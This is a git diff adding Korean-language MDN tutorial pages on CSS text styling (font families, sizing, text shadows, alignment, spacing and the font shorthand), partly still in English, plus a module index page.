+   <td>모든 문자의 너비가 같은 글꼴로, 일반적으로 코드 목록에 사용됩니다.</td>
+   <td><span style="font-family: monospace;">My big red elephant</span></td>
+  </tr>
+  <tr>
+   <td><code>cursive</code></td>
+   <td>Fonts that are intended to emulate handwriting, with flowing, connected strokes.</td>
+   <td><span style="font-family: cursive;">My big red elephant</span></td>
+  </tr>
+  <tr>
+   <td><code>fantasy</code></td>
+   <td>장식용 글꼴.</td>
+   <td><span style="font-family: fantasy;">My big red elephant</span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Font_stacks">Font stacks</h4>
+
+<p>웹 페이지에서 글꼴의 사용가능 여부를 보장할 수 없으므로 (어똔 이유로 웹 글꼴이 실패할 수 있음) 브라우저에서 선택할 수 있는 <strong>글꼴 스택 (font stack) </strong>을 제공할 수 있습니다. 여기에는 여러 글꼴 이름으로 구성된 <code>font-family</code> 값이 포함됩니다. 예제:</p>
+
+<pre class="brush: css">p {
+  font-family: "Trebuchet MS", Verdana, sans-serif;
+}</pre>
+
+<p>이 경우, 브라우저는 목록 시작 부분에서 시작하여 해당 글꼴이 시스템에서 사용 가능한지 확인합니다. 이 글꼴이 있으면, 해당 글꼴이 선택한 요소에 적용됩니다. 그렇지 않으면, 다음 글꼴로 이동합니다.</p>
+
+<p>나열된 글꼴 중 사용 가능한 글꼴이 없는 경우, 브라우저가 최소한 대략 비슷한 것을 제공할 수 있도록 스택 끝에 적절한 일반 글꼴 이름을 제공하는 것이 좋습니다.이 점을 강조하기 위해 다른 옵션 — 일반적으로 Time New Roman — 을 사용할 수 없는 경우 단락에 기본 serif 글꼴이 제공됩니다. 이는 san-serif 글꼴에 적합하지 않습니다!</p>
+
+<div class="note">
+<p><strong>참고</strong>: <code>Trebuchet MS</code> 와 같이 둘 이상의 단어가 있는 글꼴 이름은 따옴표로 묶어야합니다, 예를 들면 <code>"Trebuchet MS"</code>.</p>
+</div>
+
+<h4 id="font-family_예제">font-family 예제</h4>
+
+<p>단락에 sans-serif 글꼴을 제공하여 이전 예제에 추가하겠습니다:</p>
+
+<pre class="brush: css">p {
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}</pre>
+
+<p>결과는 다음과 같습니다:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;I remember as if it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('A_font-family_example', '100%', 220) }}</p>
+
+<h3 id="글꼴_크기">글꼴 크기</h3>
+
+<p>In our previous module's <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS values and units</a> article, we reviewed <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">length and size units</a>. Font size (set with the {{cssxref("font-size")}} property) can take values measured in most of these units (and others, such as <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Percentages">percentages</a>), however the most common units you'll use to size text are:</p>
+
+<ul>
+ <li><code>px</code> (pixels): The number of pixels high you want the text to be. This is an absolute unit — it results in the same final computed value for the font on the page in pretty much any situation.</li>
+ <li><code>em</code>s: 1em is equal to the font size set on the parent element of the current element we are styling (more specifically, the width of a capital letter M contained inside the parent element.) This can become tricky to work out if you have a lot of nested elements with different font sizes set, but it is doable, as you'll see below. Why bother? It is quite natural once you get used to it, and you can use <code>em</code>s to size everything, not just text. You can have an entire website sized using ems, which makes maintenance easy.</li>
+ <li><code>rem</code>s: These work just like <code>em</code>s, except that 1<code>rem</code> is equal to the font size set on the root element of the document (i.e. {{htmlelement("html")}}), not the parent element. This makes doing the maths to work out your font sizes much easier, but unfortunately <code>rem</code>s are not supported in Internet Explorer 8 and below. If you need to support older browsers with your project, you can either stick to using <code>em</code>s or <code>px</code>, or use a {{glossary("polyfill")}} such as <a href="https://github.com/chuckcarpenter/REM-unit-polyfill">REM-unit-polyfill</a>. </li>
+</ul>
+
+<p>The <code>font-size</code> of an element is inherited from that element's parent element. This all starts with the root element of the entire document — {{htmlelement("html")}} — the <code>font-size</code> of which is set to 16px as standard across browsers. Any paragraph (or other element that doesn't have a different size set by the browser) inside the root element will have a final size of 16px. Other elements may have different default sizes, for example an {{htmlelement("h1")}} element has a size of 2ems set by default, so will have a final size of 32px.</p>
+
+<p>Things become more tricky when you start altering the font size of nested elements. For example, if you had an {{htmlelement("article")}} element in your page, and set its font-size to <code>1.5em</code>s (which would compute to 24px final size), and then wanted the paragraphs inside the <code>&lt;article&gt;</code> elements to have a computed font size of 20px, what em value would you use?</p>
+
+<pre class="brush: html">&lt;!-- document base font-size is 16px --&gt;
+&lt;article&gt; &lt;!-- If my font-size is 1.5em --&gt;
+  &lt;p&gt;My paragraph&lt;/p&gt; &lt;!-- How do I compute to 20px font-size? --&gt;
+&lt;/article&gt;</pre>
+
+<p>You would need to set its em value to 20/24, or <code>0.83333333em</code>s. The maths can be complicated, so you need to be careful about how you style things. It is best to use rems where you can, to keep things simple, and avoid setting the font-size of container elements where possible.</p>
+
+<h4 id="A_simple_sizing_example">A simple sizing example</h4>
+
+<p>When sizing your text, it is usually a good idea to set the base <code>font-size</code> of the document to 10px, so that then the maths is a lot easier to work out — required (r)em values are then the pixel font size divided by 10, not 16. After doing that, you can easily size the different types of text in your document to what you want. It is a good idea to list all your <code>font-size</code> rulesets in a designated area in your stylesheet, so they are easy to find.</p>
+
+<p>Our new result is like so:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;I remember as if it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;
+</pre>
+</div>
+
+<pre class="brush: css">html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}</pre>
+
+<p>{{ EmbedLiveSample('A_simple_sizing_example', '100%', 220) }}</p>
+
+<h3 id="Font_style_font_weight_text_transform_and_text_decoration">Font style, font weight, text transform, and text decoration</h3>
+
+<p>CSS provides four common properties to alter the visual weight/emphasis of text:</p>
+
+<ul>
+ <li>{{cssxref("font-style")}}: Used to turn italic text on and off. Possible values are as follows (you'll rarely use this, unless you want to turn some italic styling off for some reason):
+  <ul>
+   <li><code>normal</code>: Sets the text to the normal font (turns existing italics off.)</li>
+   <li><code>italic</code>: Sets the text to use the <em>italic version of the font</em> if available; if not available, it will simulate italics with oblique instead.</li>
+   <li><code>oblique</code>: Sets the text to use a simulated version of an italic font, created by <span style="font-style: oblique;">slanting the normal version</span>.</li>
+  </ul>
+ </li>
+ <li>{{cssxref("font-weight")}}: Sets how bold the text is. This has many values available in case you have many font variants available (such as <em>-light</em>, <em>-normal</em>, <em>-bold</em>, <em>-extrabold</em>, <em>-black</em>, etc.), but realistically you'll rarely use any of them except for <code>normal</code> and <code>bold</code>:
+  <ul>
+   <li><code>normal</code>, <code>bold</code>: Normal and <strong style="font-weight: bold;">bold</strong> font weight</li>
+   <li><code>lighter</code>, <code>bolder</code>: Sets the current element's boldness to be one step lighter or heavier than its parent element's boldness.</li>
+   <li><code>100</code>–<code>900</code>: Numeric boldness values that provide finer grained control than the above keywords, if needed. </li>
+  </ul>
+ </li>
+ <li>{{cssxref("text-transform")}}: Allows you to set your font to be transformed. Values include:
+  <ul>
+   <li><code>none</code>: Prevents any transformation.</li>
+   <li><code>uppercase</code>: Transforms <span style="text-transform: uppercase;">all text to capitals</span>.</li>
+   <li><code>lowercase</code>: Transforms all text to lower case.</li>
+   <li><code>capitalize</code>: Transforms all words to <span style="text-transform: capitalize;">have the first letter capitalized</span>.</li>
+   <li><code>full-width</code>: Transforms all glyphs to be <span style="text-transform: full-width;">written inside a fixed-width square</span>, similar to a monospace font, allowing aligning of e.g. latin characters along with asian language glyphs (like Chinese, Japanese, Korean.)</li>
+  </ul>
+ </li>
+ <li>{{cssxref("text-decoration")}}: Sets/unsets text decorations on fonts (you'll mainly use this to unset the default underline on links when styling them.) Available values are:
+  <ul>
+   <li><code>none</code>: Unsets any text decorations already present.</li>
+   <li><code>underline</code>: <u>Underlines the text</u>.</li>
+   <li><code>overline</code>: <span style="text-decoration: overline;">Gives the text an overline</span>.</li>
+   <li><code>line-through</code>: Puts a <s style="text-decoration: line-through;">strikethrough over the text</s>.</li>
+  </ul>
+  You should note that {{cssxref("text-decoration")}} can accept multiple values at once, if you want to add multiple decorations simultaneously, for example <span style="text-decoration: underline overline;"><code>text-decoration: underline overline</code></span>. Also note that {{cssxref("text-decoration")}} is a shorthand property for {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}}, and {{cssxref("text-decoration-color")}}. You can use combinations of these property values to create interesting effects, for example <span style="text-decoration: line-through red wavy;"><code>text-decoration: line-through red wavy</code>.</span></li>
+</ul>
+
+<p>Let's look at adding a couple of these properties to our example:</p>
+
+<p>Our new result is like so:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;I remember as if it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;
+</pre>
+</div>
+
+<pre class="brush: css">html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+  text-transform: capitalize;
+}
+
+h1 + p {
+  font-weight: bold;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}</pre>
+
+<p>{{ EmbedLiveSample('Font_style_font_weight_text_transform_and_text_decoration', '100%', 220) }}</p>
+
+<h3 id="Text_drop_shadows">Text drop shadows</h3>
+
+<p>You can apply drop shadows to your text using the {{cssxref("text-shadow")}} property. This takes up to four values, as shown in the example below:</p>
+
+<pre class="brush: css">text-shadow: 4px 4px 5px red;</pre>
+
+<p>The four properties are as follows:</p>
+
+<ol>
+ <li>The horizontal offset of the shadow from the original text — this can take most available CSS <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">length and size units</a>, but you'll most commonly use px. This value has to be included.</li>
+ <li>The vertical offset of the shadow from the original text; behaves basically just like the horizontal offset, except that it moves the shadow up/down, not left/right. This value has to be included.</li>
+ <li>The blur radius — a higher value means the shadow is dispersed more widely. If this value is not included, it defaults to 0, which means no blur. This can take most available CSS <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">length and size units</a>.</li>
+ <li>The base color of the shadow, which can take any <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">CSS color unit</a>. If not included, it defaults to <code>black</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: Positive offset values move the shadow right and down, but you can also use negative offset values to move the shadow left and up, for example <code>-1px -1px</code>.</p>
+</div>
+
+<h4 id="Multiple_shadows">Multiple shadows</h4>
+
+<p>You can apply multiple shadows to the same text by including multiple shadow values separated by commas, for example:</p>
+
+<pre class="brush: css"><code class="language-css"><span class="property token">text-shadow</span><span class="punctuation token">:</span> -<span class="number token">1</span>px -<span class="number token">1</span>px <span class="number token">1</span>px <span class="hexcode token">#aaa</span>,
+             <span class="number token">0</span>px <span class="number token">4</span>px <span class="number token">1</span>px <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0.5</span><span class="punctuation token">)</span>,
+             <span class="number token">4</span>px <span class="number token">4</span>px <span class="number token">5</span>px <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0.7</span><span class="punctuation token">)</span>,
+             <span class="number token">0</span>px <span class="number token">0</span>px <span class="number token">7</span>px <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0.4</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>If we applied this to the {{htmlelement("h1")}} element in our Tommy the cat example, we'd end up with this:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;I remember as if it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;
+</pre>
+
+<pre class="brush: css">html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 26px;
+  text-transform: capitalize;
+  text-shadow: -1px -1px 1px #aaa,
+               0px 2px 1px rgba(0,0,0,0.5),
+               2px 2px 2px rgba(0,0,0,0.7),
+               0px 0px 3px rgba(0,0,0,0.4);
+}
+
+h1 + p {
+  font-weight: bold;
+}
+
+p {
+  font-size: 14px;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Multiple_shadows', '100%', 220) }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can see more interesting examples of <code>text-shadow</code> usage in the Sitepoint article <a href="http://www.sitepoint.com/moonlighting-css-text-shadow/">Moonlighting with CSS text-shadow</a>.</p>
+</div>
+
+<h2 id="텍스트_레이아웃">텍스트 레이아웃</h2>
+
+<p>With basic font properties out the way, let's now have a look at properties we can use to affect text layout.</p>
+
+<h3 id="텍스트_정렬">텍스트 정렬</h3>
+
+<p>The {{cssxref("text-align")}} property is used to control how text is aligned within its containing content box. The available values are as follows, and work in pretty much the same way as they do in a regular word processor application:</p>
+
+<ul>
+ <li><code>left</code>: Left justifies the text.</li>
+ <li><code>right</code>: Right justifies the text.</li>
+ <li><code>center</code>: Centers the text.</li>
+ <li><code>justify</code>: Makes the text spread out, varying the gaps in between the words so that all lines of text are the same width. You need to use this carefully — it can look terrible, especially when applied to a paragraph with lots of long words in it. If you are going to use this, you should also think about using something else along with it, such as {{cssxref("hyphens")}}, to break some of the longer words across lines.</li>
+</ul>
+
+<p>If we applied <code>text-align: center;</code> to the {{htmlelement("h1")}} in our example, we'd end up with this:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;I remember as if it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;
+</pre>
+
+<pre class="brush: css">html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+  text-transform: capitalize;
+  text-shadow: -1px -1px 1px #aaa,
+               0px 2px 1px rgba(0,0,0,0.5),
+               2px 2px 2px rgba(0,0,0,0.7),
+               0px 0px 3px rgba(0,0,0,0.4);
+  text-align: center;
+}
+
+h1 + p {
+  font-weight: bold;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Text_alignment', '100%', 220) }}</p>
+
+<h3 id="Line_height">Line height</h3>
+
+<p>The {{cssxref("line-height")}} property sets the height of each line of text — this can take most <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">length and size units</a>, but can also take a unitless value, which acts as a multiplier and is generally considered the best option — the {{cssxref("font-size")}} is multiplied to get the <code>line-height</code>. Body text generally looks nicer and is easier to read when the lines are spaced apart; the recommended line height is around 1.5–2 (double spaced.) So to set our lines of text to 1.5 times the height of the font, you'd use this:</p>
+
+<pre class="brush: css">line-height: 1.5;</pre>
+
+<p>Applying this to the {{htmlelement("p")}} elements in our example would give us this result:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;I remember as if it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;
+</pre>
+
+<pre class="brush: css">html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+  text-transform: capitalize;
+  text-shadow: -1px -1px 1px #aaa,
+               0px 2px 1px rgba(0,0,0,0.5),
+               2px 2px 2px rgba(0,0,0,0.7),
+               0px 0px 3px rgba(0,0,0,0.4);
+  text-align: center;
+}
+
+h1 + p {
+  font-weight: bold;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+  line-height: 1.5;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Line_height', '100%', 250) }}</p>
+
+<h3 id="Letter_and_word_spacing">Letter and word spacing</h3>
+
+<p>The {{cssxref("letter-spacing")}} and {{cssxref("word-spacing")}} properties allow you to set the spacing between letters and words in your text. You won't use these very often, but might find a use for them to get a certain look, or to improve the legibility of a particularly dense font. They can take most <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">length and size units</a>.</p>
+
+<p>So as an example, if we applied the following to the first line of the {{htmlelement("p")}} elements in our example:</p>
+
+<pre class="brush: css">p::first-line {
+  letter-spacing: 2px;
+  word-spacing: 4px;
+}</pre>
+
+<p>We'd get the following:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;I remember as if it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;
+</pre>
+
+<pre class="brush: css">html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+  text-transform: capitalize;
+  text-shadow: -1px -1px 1px #aaa,
+               0px 2px 1px rgba(0,0,0,0.5),
+               2px 2px 2px rgba(0,0,0,0.7),
+               0px 0px 3px rgba(0,0,0,0.4);
+  text-align: center;
+}
+
+h1 + p {
+  font-weight: bold;
+}
+
+p::first-line {
+  letter-spacing: 2px;
+  word-spacing: 4px;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+  line-height: 1.5;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Letter_and_word_spacing', '100%', 250) }}</p>
+
+<h3 id="볼_가치가_있는_다른_속성들">볼 가치가 있는 다른 속성들</h3>
+
+<p>The above properties give you an idea of how to start styling text on a webpage, but there are many more properties you could use. We just wanted to cover the most important ones here. Once you've become used to using the above, you should also explore the following:</p>
+
+<p>Font styles:</p>
+
+<ul>
+ <li>{{cssxref("font-variant")}}: Switch between small caps and normal font alternatives.</li>
+ <li>{{cssxref("font-kerning")}}: Switch font kerning options on and off.</li>
+ <li>{{cssxref("font-feature-settings")}}: Switch various <a href="https://en.wikipedia.org/wiki/OpenType">OpenType</a> font features on and off.</li>
+ <li>{{cssxref("font-variant-alternates")}}: Control the use of alternate glyphs for a given font-face.</li>
+ <li>{{cssxref("font-variant-caps")}}: Control the use of alternate capital glyphs.</li>
+ <li>{{cssxref("font-variant-east-asian")}}: Control the usage of alternate glyphs for East Asian scripts, like Japanese and Chinese.</li>
+ <li>{{cssxref("font-variant-ligatures")}}: Control which ligatures and contextual forms are used in text.</li>
+ <li>{{cssxref("font-variant-numeric")}}: Control the usage of alternate glyphs for numbers, fractions, and ordinal markers.</li>
+ <li>{{cssxref("font-variant-position")}}: Control the usage of alternate glyphs of smaller sizes positioned as superscript or subscript.</li>
+ <li>{{cssxref("font-size-adjust")}}: Adjust the visual size of the font independently of its actual font size.</li>
+ <li>{{cssxref("font-stretch")}}: Switch between possible alternative stretched versions of a given font.</li>
+ <li>{{cssxref("text-underline-position")}}: Specify the position of underlines set using the <code>text-decoration-line</code> property <code>underline</code> value.</li>
+ <li>{{cssxref("text-rendering")}}: Try to perform some text rendering optimization.</li>
+</ul>
+
+<p>Text layout styles</p>
+
+<ul>
+ <li>{{cssxref("text-indent")}}: Specify how much horizontal space should be left before the beginning of the first line of the text content.</li>
+ <li>{{cssxref("text-overflow")}}: Define how overflowed content that is not displayed is signaled to users.</li>
+ <li>{{cssxref("white-space")}}: Define how whitespace and associated line breaks inside the element are handled.</li>
+ <li>{{cssxref("word-break")}}: Specify whether to break lines within words.</li>
+ <li>{{cssxref("direction")}}: Define the text direction (This depends on the language and usually it's better to let HTML handle that part as it is tied to the text content.)</li>
+ <li>{{cssxref("hyphens")}}: Switch on and off hyphenation for supported languages.</li>
+ <li>{{cssxref("line-break")}}: Relax or strengthen line breaking for Asian languages.</li>
+ <li>{{cssxref("text-align-last")}}: Define how the last line of a block or a line, right before a forced line break, is aligned.</li>
+ <li>{{cssxref("text-orientation")}}: Define the orientation of the text in a line.</li>
+ <li>{{cssxref("word-wrap")}}: Specify whether or not the browser may break lines within words in order to prevent overflow.</li>
+ <li>{{cssxref("writing-mode")}}: Define whether lines of text are laid out horizontally or vertically and the direction in which subsequent lines flow.</li>
+</ul>
+
+<h2 id="글꼴_약식_shorthand">글꼴 약식 (shorthand)</h2>
+
+<p>Many font properties can also be set through the shorthand property {{cssxref("font")}}. These are written in the following order:  {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, and {{cssxref("font-family")}}.</p>
+
+<p>Among all those properties, only <code>font-size</code> and <code>font-family</code> are required when using the <code>font</code> shorthand property.</p>
+
+<p>A forward slash has to be put in between the {{cssxref("font-size")}} and {{cssxref("line-height")}} properties.</p>
+
+<p>A full example would look like this:</p>
+
+<pre class="brush: css">font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;</pre>
+
+<h2 id="Active_learning_Playing_with_styling_text">Active learning: Playing with styling text</h2>
+
+<p>In this active learning session, we don't have any specific exercises for you to do: we'd just like you to have a good play with some font/text layout properties, and see what you can produce! You can either do this using offline HTML/CSS files, or enter your code into the live editable example below.</p>
+
+<p>If you make a mistake, you can always reset it using the <em>Reset</em> button.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"&gt;
+  &lt;h2&gt;HTML Input&lt;/h2&gt;
+  &lt;textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;
+  &lt;p&gt;Some sample text for your delight&lt;/p&gt;&lt;/textarea&gt;
+
+  &lt;h2&gt;CSS Input&lt;/h2&gt;
+  &lt;textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;p {
+
+  }&lt;/textarea&gt;
+
+  &lt;h2&gt;Output&lt;/h2&gt;
+  &lt;div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;&lt;/div&gt;
+  &lt;div class="controls"&gt;
+    &lt;input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: js">var htmlInput = document.querySelector(".html-input");
+var cssInput = document.querySelector(".css-input");
+var reset = document.getElementById("reset");
+var htmlCode = htmlInput.value;
+var cssCode = cssInput.value;
+var output = document.querySelector(".output");
+
+var styleElem = document.createElement('style');
+var headElem = document.querySelector('head');
+headElem.appendChild(styleElem);
+
+function drawOutput() {
+  output.innerHTML = htmlInput.value;
+  styleElem.textContent = cssInput.value;
+}
+
+reset.addEventListener("click", function() {
+  htmlInput.value = htmlCode;
+  cssInput.value = cssCode;
+  drawOutput();
+});
+
+htmlInput.addEventListener("input", drawOutput);
+cssInput.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>We hoped you enjoyed playing with text in this article! The next article will give you all you need to know about styling HTML lists.</p>
+
+<p>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Fundamental text and font styling</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Styling lists</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">Styling links</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Web fonts</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Typesetting a community school homepage</a></li>
+</ul>
diff --git a/files/ko/learn/css/styling_text/index.html b/files/ko/learn/css/styling_text/index.html
new file mode 100644
index 0000000000..1a5f780b9a
--- /dev/null
+++ b/files/ko/learn/css/styling_text/index.html
@@ -0,0 +1,48 @@
+---
+title: 텍스트 스타일링
+slug: Learn/CSS/Styling_text
+tags:
+  - CSS
+  - 그림자
+  - 리스트
+  - 모듈
+  - 웹 폰트
+  - 초보자
+  - 폰트
+translation_of: Learn/CSS/Styling_text
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">CSS 기초가 어느 정도 완성되었다면,  여러분이 집중해야 할 다음 CSS 주제는 CSS로 가장 흔하게 할 것 중 하나인 텍스트를 꾸며주는 것입니다. 우리는 글꼴 과 볼드체, 이탤릭체, 줄 띄어쓰기, 단어 띄어쓰기, 그림자 넣기 등과 같은 텍스트 기능을 설정하는 것을 포함한 텍스트 스타일링의 기초를 배웁니다. 여러분의 페이지에 사용자 정의 글꼴을 설정하고 리스트와 링크를 꾸며줌으로써 이 강의를 끝마칩니다. </p>
+
+<h2 id="전제_조건">전제 조건</h2>
+
+<p>이 강의를 시작하기 전에, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 에서 설명한대로 이미 HTML 에 대해 잘 알고 있어야하며, <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS 소개</a> 에서 설명한대로 CSS 기본 사항에 익숙해야합니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 자신의 파일을 만들 수 없는 컴퓨터/태블릿/기타 장치에서 작업하는 경우, <a href="http://jsbin.com/">JSBin</a>,<a href="https://codepen.io/"> CodePen</a> 또는 <a href="https://thimble.mozilla.org/">Thimble</a> 와 같은 온라인 코딩 프로그램에서 대부분의 코드 예제를 시험해 볼 수 있습니다.</p>
+</div>
+
+<h2 id="안내">안내</h2>
+
+<p>이 강의에는 다음 기사가 포함되어 있으며, HTML 텍스트 콘텐츠를 스타일링하는 데 필요한 모든 기본 사항을 알려줍니다.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">기본적인 텍스트 및 글꼴 스타일</a></dt>
+ <dd>이 기사에서는 글꼴 굵기, 종류 및 스타일 설정, 글꼴 약식 (shorthand), 텍스트 정렬 및 기타 효과, 줄 및 문자 간격 설정을 포함하여 텍스트/글꼴 스타일의 모든 기본 사항을 자세히 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">목록 스타일링</a></dt>
+ <dd>목록은 대부분 다른 텍스트처럼 작동하지만, 알아야 할 목록과 관련된 몇 가지 CSS 속성과 고려해야 할 모범 사례가 있습니다. 이 기사는 모든 것을 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">링크 스타일링</a></dt>
+ <dd>링크를 스타일링 할 때, pseudo-classes 를 사용하여 링크 상태를 효과적으로 스타일링하는 방법과 네비게이션 메뉴 및 탭과 같은 일반적인 다양한 인터페이스 기능을 사용하기 위해 링크를 스타일링하는 방법을 이해하는 것이 중요합니다. 이 기사에서는 이러한 모든 주제를 살펴볼 것입니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">웹 글꼴</a></dt>
+ <dd>여기에서는 웹 글꼴을 자세하게 살펴볼 것입니다 — 웹 글꼴과 함께 사용자 정의 글꼴을 다운로드하여, 보다 다양한 사용자 정의 텍스트 스타일을 지정할 수 있습니다.</dd>
+</dl>
+
+<h2 id="평가">평가</h2>
+
